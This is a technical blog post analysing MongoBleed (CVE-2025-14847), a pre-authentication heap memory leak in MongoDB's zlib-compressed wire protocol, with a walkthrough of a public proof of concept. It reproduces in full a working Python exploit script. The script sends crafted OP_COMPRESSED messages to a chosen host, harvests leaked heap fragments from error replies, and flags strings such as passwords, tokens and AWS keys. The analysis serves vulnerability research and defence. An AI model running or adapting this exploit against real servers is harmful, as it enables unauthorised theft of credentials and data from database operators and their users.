MongoBleed (CVE-2025-14847) is a remote, unauthenticated information disclosure bug in MongoDB Server caused by inconsistent length handling in zlib-compressed wire-protocol messages, which can result in uninitialized heap memory being read and returned to the client.1 The CVE’s CNA-assigned CVSS v4 base score is 8.7 (High).1

This post is intentionally exploitation-mechanics focused (how the leak happens and how the public PoC drives it). It avoids operational “go exploit X target” instructions. Only test systems you own or have explicit permission to assess.

What’s vulnerable (scope that matters for exploitation)

The vulnerable condition is triggered through MongoDB’s wire protocol when messages are wrapped in OP_COMPRESSED and use the zlib compressor.12 The affected/fixed version ranges are listed in the NVD entry (e.g., fixed in 7.0.28, 8.0.17, 8.2.3, 6.0.27, 5.0.32, 4.4.30; and older/EOL branches called out as affected with no patches in the advisory text).1

Two practical constraints fall out of that:

  • The bug is “pre-auth” in the sense that it can be triggered by an unauthenticated client purely at the network message layer.13
  • The exploitation path depends on zlib network compression being usable for the connection, because the inconsistent length handling occurs in the zlib decompression logic.13

Many deployments won’t have consciously “turned on zlib” as a one-off: MongoDB exposes network compression configuration via net.compression.compressors, and the docs list a default that includes zlib (alongside snappy and zstd).4 (That default does not guarantee every server negotiates or uses compression in every scenario, but it explains why this bug’s reach can be broad in real environments.45)

The protocol surface MongoBleed lives on

At a high level, MongoDB requests/replies on the wire are “messages” starting with a standard header (MsgHeader) containing messageLength, requestID, responseTo, and opCode.2 For modern MongoDB versions, OP_MSG is the primary request/reply opcode, and it’s also the opcode most public writeups (and PoCs) wrap inside OP_COMPRESSED.2

OP_COMPRESSED is literally a wrapper: it carries the original opcode plus metadata needed to decompress and recover the inner message.2 The manual documents the OP_COMPRESSED fields as:

  • originalOpcode (the wrapped opcode),
  • uncompressedSize (the size of the decompressed payload, excluding the outer MsgHeader),
  • compressorId (the algorithm identifier), and
  • compressedMessage (the compressed bytes of the inner message, excluding its MsgHeader).2

It also lists compressor IDs (notably zlib as 2).2

Here’s the nesting relationship most exploits rely on:

flowchart TD A[TCP stream] --> B[MsgHeader opCode=OP_COMPRESSED] B --> C[OP_COMPRESSED fields: originalOpcode, uncompressedSize, compressorId] C --> D[zlib(compressedMessage)] D --> E[inner MsgHeader opCode=OP_MSG] E --> F[OP_MSG: flagBits + sections] F --> G[Kind 0 body: BSON document]

That diagram is “normal.” MongoBleed shows up when the declared sizes and the actual bytes stop agreeing.

The core exploit primitive: length inconsistency → “valid” parsing of uninitialized bytes

The NVD description is deliberately compact: “Mismatched length fields in Zlib compressed protocol headers may allow a read of uninitialized heap memory by an unauthenticated client.”1 The interesting part is how a mismatch turns into exfiltration.

The public technical writeups converge on the same underlying shape:

  1. The attacker crafts an OP_COMPRESSED message that claims an uncompressedSize inconsistent with what zlib will actually output when decompressing the embedded payload.56

  2. MongoDB allocates a buffer based on the claimed size, but the vulnerable logic later uses the buffer’s allocated length rather than the actual decompressed length when returning or processing the decompressed message—creating a situation where the tail of the buffer contains uninitialized heap bytes that are treated as part of the message content.3

  3. Downstream parsing or error handling then surfaces fragments of that “extra” buffer content back to the client (not as a raw memory dump, but indirectly—often via server-generated parsing errors that embed or reflect parts of what the server believes it received).56

Wiz attributes the code-level root cause to incorrect length handling in MongoDB’s zlib decompression implementation (specifically, returning the allocated output buffer length rather than the length of valid decompressed data), which is exactly the kind of bug that makes uninitialized bytes look “in-bounds” to later stages.3

Why this leaks data instead of just crashingA pure “read past end” often yields a crash (DoS). MongoBleed is nastier because the bytes being read are inside an allocated buffer, just not initialized by decompression. That makes the bytes “safe” from a memory-safety perspective (no segfault required), but unsafe from a confidentiality perspective—because whatever happened to be in that heap region can become observable through parsing or error messages.[^1][^3][^7]

How real-world exploitation tends to be used

Public advisories emphasize that the output is a fragmentary memory disclosure: attackers can’t ask for “the admin password” directly; they can only steer the server into returning small pieces of whatever happens to be adjacent in heap memory at the time.56 As a result, exploitation at scale is usually described as an iterative process: repeat the primitive many times, vary sizes/shapes to shift allocator behavior, and aggregate whatever strings/structures you manage to tease out.56

The seriousness is not hypothetical: the NVD entry explicitly states the CVE is in CISA’s Known Exploited Vulnerabilities (KEV) catalog and records the KEV “Date Added” as 2025-12-29.1 (Even without direct access to the CISA page, NVD’s change history and KEV annotation are concrete evidence that exploitation has been observed and tracked at the federal level.1)

Public PoC anatomy: joe-desimone/mongobleed

A widely circulated public proof-of-concept is the joe-desimone/mongobleed repository, which OX Security’s technical walkthrough uses as its baseline example.67 The PoC is useful to study because it demonstrates a practical strategy: rather than trying to dump arbitrary memory “raw,” it coerces MongoDB into producing error responses that incidentally contain attacker-influenced and heap-influenced content, then extracts recognizable fragments.67

#!/usr/bin/env python3
"""
mongobleed.py - CVE-2025-14847 MongoDB Memory Leak Exploit

Author: Joe Desimone - x.com/dez_

Exploits zlib decompression bug to leak server memory via BSON field names.
Technique: Craft BSON with inflated doc_len, server reads field names from
leaked memory until null byte.
"""

import socket
import struct
import zlib
import re
import argparse

def send_probe(host, port, doc_len, buffer_size):
    """Send crafted BSON with inflated document length"""
    # Minimal BSON content - we lie about total length
    content = b'\x10a\x00\x01\x00\x00\x00'  # int32 a=1
    bson = struct.pack('<i', doc_len) + content
    
    # Wrap in OP_MSG
    op_msg = struct.pack('<I', 0) + b'\x00' + bson
    compressed = zlib.compress(op_msg)
    
    # OP_COMPRESSED with inflated buffer size (triggers the bug)
    payload = struct.pack('<I', 2013)  # original opcode
    payload += struct.pack('<i', buffer_size)  # claimed uncompressed size
    payload += struct.pack('B', 2)  # zlib
    payload += compressed
    
    header = struct.pack('<IIII', 16 + len(payload), 1, 0, 2012)
    
    try:
        sock = socket.socket()
        sock.settimeout(2)
        sock.connect((host, port))
        sock.sendall(header + payload)
        
        response = b''
        while len(response) < 4 or len(response) < struct.unpack('<I', response[:4])[0]:
            chunk = sock.recv(4096)
            if not chunk:
                break
            response += chunk
        sock.close()
        return response
    except:
        return b''

def extract_leaks(response):
    """Extract leaked data from error response"""
    if len(response) < 25:
        return []
    
    try:
        msg_len = struct.unpack('<I', response[:4])[0]
        if struct.unpack('<I', response[12:16])[0] == 2012:
            raw = zlib.decompress(response[25:msg_len])
        else:
            raw = response[16:msg_len]
    except:
        return []
    
    leaks = []
    
    # Field names from BSON errors
    for match in re.finditer(rb"field name '([^']*)'", raw):
        data = match.group(1)
        if data and data not in [b'?', b'a', b'$db', b'ping']:
            leaks.append(data)
    
    # Type bytes from unrecognized type errors
    for match in re.finditer(rb"type (\d+)", raw):
        leaks.append(bytes([int(match.group(1)) & 0xFF]))
    
    return leaks

def main():
    parser = argparse.ArgumentParser(description='CVE-2025-14847 MongoDB Memory Leak')
    parser.add_argument('--host', default='localhost', help='Target host')
    parser.add_argument('--port', type=int, default=27017, help='Target port')
    parser.add_argument('--min-offset', type=int, default=20, help='Min doc length')
    parser.add_argument('--max-offset', type=int, default=8192, help='Max doc length')
    parser.add_argument('--output', default='leaked.bin', help='Output file')
    args = parser.parse_args()
    
    print(f"[*] mongobleed - CVE-2025-14847 MongoDB Memory Leak")
    print(f"[*] Author: Joe Desimone - x.com/dez_")
    print(f"[*] Target: {args.host}:{args.port}")
    print(f"[*] Scanning offsets {args.min_offset}-{args.max_offset}")
    print()
    
    all_leaked = bytearray()
    unique_leaks = set()
    
    for doc_len in range(args.min_offset, args.max_offset):
        response = send_probe(args.host, args.port, doc_len, doc_len + 500)
        leaks = extract_leaks(response)
        
        for data in leaks:
            if data not in unique_leaks:
                unique_leaks.add(data)
                all_leaked.extend(data)
                
                # Show interesting leaks (> 10 bytes)
                if len(data) > 10:
                    preview = data[:80].decode('utf-8', errors='replace')
                    print(f"[+] offset={doc_len:4d} len={len(data):4d}: {preview}")
    
    # Save results
    with open(args.output, 'wb') as f:
        f.write(all_leaked)
    
    print()
    print(f"[*] Total leaked: {len(all_leaked)} bytes")
    print(f"[*] Unique fragments: {len(unique_leaks)}")
    print(f"[*] Saved to: {args.output}")
    
    # Show any secrets found
    secrets = [b'password', b'secret', b'key', b'token', b'admin', b'AKIA']
    for s in secrets:
        if s.lower() in all_leaked.lower():
            print(f"[!] Found pattern: {s.decode()}")

if __name__ == '__main__':
    main()

What the PoC is doing (the parts that matter)

This section is a “read the intent” guide: not line-by-line, but enough to understand the moving pieces and why they’re there.

1) It speaks raw wire protocol (no driver)

The PoC opens a plain TCP socket to the MongoDB server and sends a handcrafted wire-protocol message, rather than using a language driver.7 This matters because the exploit lives below authentication and above TCP: the attacker wants exact control over headers, opcodes, and the compressed payload framing.127

2) It builds an inner OP_MSG with a minimal BSON body

Inside the compressed wrapper, the PoC uses OP_MSG (the modern message format) with a “kind 0” body section that is a single BSON document.27 OX’s walkthrough describes this as wrapping a minimal BSON document inside OP_MSG, then compressing it.6

The BSON body is intentionally tiny and simple (OX calls out a minimal field like a = 1 as the starting point), because the PoC’s goal is not to execute a meaningful database command—it’s to get the server to parse something structured enough to reach the vulnerable decompression/parse path, while leaving room for length inconsistencies to do their work.67

3) It introduces two different size lies that interact

There are two key “size claims” to keep straight:

  • The outer claim: OP_COMPRESSED.uncompressedSize says how big the decompressed payload is supposed to be (excluding the header).2
  • The inner claims: the embedded message/BSON includes length fields that parsers trust while reading the content (e.g., the BSON document length, and the message length in the standard header).27

The PoC’s strategy is to craft a mismatch where the server allocates a buffer for the decompressed payload that is larger than the payload actually produced by zlib, leaving uninitialized bytes in the remainder.63 Those leftover bytes can then be consumed by downstream parsing, depending on how the inner length fields are set.67

OX summarizes this as inflating the claimed uncompressed size relative to the actual compressed payload so MongoDB allocates “more than necessary” and then treats uninitialized memory as input.6 Wiz explains why that kind of mismatch is dangerous in MongoDB’s implementation: the vulnerable code path can end up using the allocated output length rather than the decompressed data length.3

4) It forces the server down an error path that “talks back”

A subtle but important point: the PoC is not expecting a clean successful reply. It’s expecting parse failures, because parse failures can contain structured diagnostics.

Concretely, the PoC looks for patterns in server error output that mention things like:

  • a BSON “field name …” (capturing the quoted name), and
  • an “unrecognized type …” value (capturing the type byte).[^^8]

Those strings are valuable because they can embed bytes that weren’t actually part of the legitimate decompressed payload—i.e., they can be influenced by whatever uninitialized heap content got interpreted as BSON structure.67

This matches OX’s description: by iterating and observing error responses, the exploit extracts leaked internal data such as BSON field names and type identifiers from server-generated errors, then aggregates small leaks across requests.6

5) It iterates lengths to “walk” heap state and collect more fragments

The PoC doesn’t assume one request leaks something juicy. It varies a length parameter across a range and repeats the probe, appending whatever fragments it extracts to an aggregate buffer.67

This is the practical reality of heap disclosures: the returned bytes depend heavily on allocator behavior, the server’s current workload, and what sensitive material happens to be nearby at that moment.56 Iteration is how the PoC increases the odds of catching meaningful strings or identifiers.67

6) It can handle compressed responses too

MongoDB can reply with OP_COMPRESSED as well, depending on negotiated compression and configuration.2 The PoC accounts for this by checking the response opcode and decompressing when necessary before searching for leak indicators.27

That’s not an “exploit trick,” just a practical parser detail: if you don’t decompress server replies when they’re compressed, you’ll miss the error text you’re hunting for.27

Why this PoC is a good mental model (even if you never run it)

From an exploit-development perspective, the PoC demonstrates three generally useful ideas that apply beyond MongoDB:

  • Length inconsistencies become far more dangerous when they happen around decompression boundaries (because “allocated output” and “valid output” diverge).3
  • Error handling is often a better exfiltration oracle than “successful” parsing, because errors tend to stringify or echo problematic structure.6
  • Heap disclosures are usually about repetition and aggregation, not one-shot dumps.56

Key takeaways

  • MongoBleed is an unauthenticated heap disclosure caused by mismatched length handling in zlib-compressed wire-protocol messages, as described in the CVE record.1
  • The vulnerable surface is OP_COMPRESSED with zlib (compressor ID 2), wrapping an inner opcode like OP_MSG.2
  • Public analyses attribute the root cause to using an allocated output-buffer length where the actual decompressed length should be used, enabling uninitialized bytes to be treated as message content.3
  • The popular public PoC doesn’t try to “dump memory” directly; it uses repeated malformed compressed messages to provoke server errors that leak recognizable fragments (field names/type indicators), then aggregates them.67
  • NVD records the CVE as present in CISA KEV with a 2025-12-29 “Date Added,” which aligns with public reports of exploitation in the wild.1

Sources


  1. [Official] CVE-2025-14847 Detail — National Vulnerability Database (NIST) (2025-12-19). https://nvd.nist.gov/vuln/detail/CVE-2025-14847↩︎ ↩︎ ↩︎ ↩︎ ↩︎ ↩︎ ↩︎ ↩︎ ↩︎ ↩︎ ↩︎ ↩︎

  2. [Official] MongoDB Wire Protocol — MongoDB Server Manual (No publication date listed; accessed date used) — MongoDB Docs (2026-01-09). https://www.mongodb.com/docs/manual/reference/mongodb-wire-protocol/↩︎ ↩︎ ↩︎ ↩︎ ↩︎ ↩︎ ↩︎ ↩︎ ↩︎ ↩︎ ↩︎ ↩︎ ↩︎ ↩︎

  3. [Blog] MongoBleed (CVE-2025-14847) exploited in the wild: everything you need to know — Wiz (2025-12-28). https://www.wiz.io/blog/mongobleed-cve-2025-14847-exploited-in-the-wild-mongodb↩︎ ↩︎ ↩︎ ↩︎ ↩︎ ↩︎ ↩︎ ↩︎

  4. [Official] Configuration File Options: net.compression.compressors — MongoDB Server Manual (No publication date listed; accessed date used) — MongoDB Docs (2026-01-09). https://www.mongodb.com/docs/manual/reference/configuration-options/↩︎ ↩︎

  5. [Blog] CVE-2025-14847: All You Need to Know About MongoBleed — Akamai (2025-12-30). https://www.akamai.com/blog/security-research/cve-2025-14847-all-you-need-to-know-about-mongobleed↩︎ ↩︎ ↩︎ ↩︎ ↩︎ ↩︎ ↩︎

  6. [Blog] PoC: Exploiting MongoBleed, CVE-2025-14847 | Technical Walkthrough — OX Security (2025-12-29). https://www.ox.security/blog/poc-exploiting-mongobleed-cve-2025-14847-technical-walkthrough/↩︎ ↩︎ ↩︎ ↩︎ ↩︎ ↩︎ ↩︎ ↩︎ ↩︎ ↩︎ ↩︎ ↩︎ ↩︎ ↩︎ ↩︎ ↩︎ ↩︎ ↩︎ ↩︎

  7. [Repo] mongobleed — Joe Desimone (GitHub) (No publication date listed; accessed date used) (2026-01-09). https://github.com/joe-desimone/mongobleed↩︎ ↩︎ ↩︎ ↩︎ ↩︎ ↩︎ ↩︎ ↩︎ ↩︎ ↩︎ ↩︎ ↩︎ ↩︎ ↩︎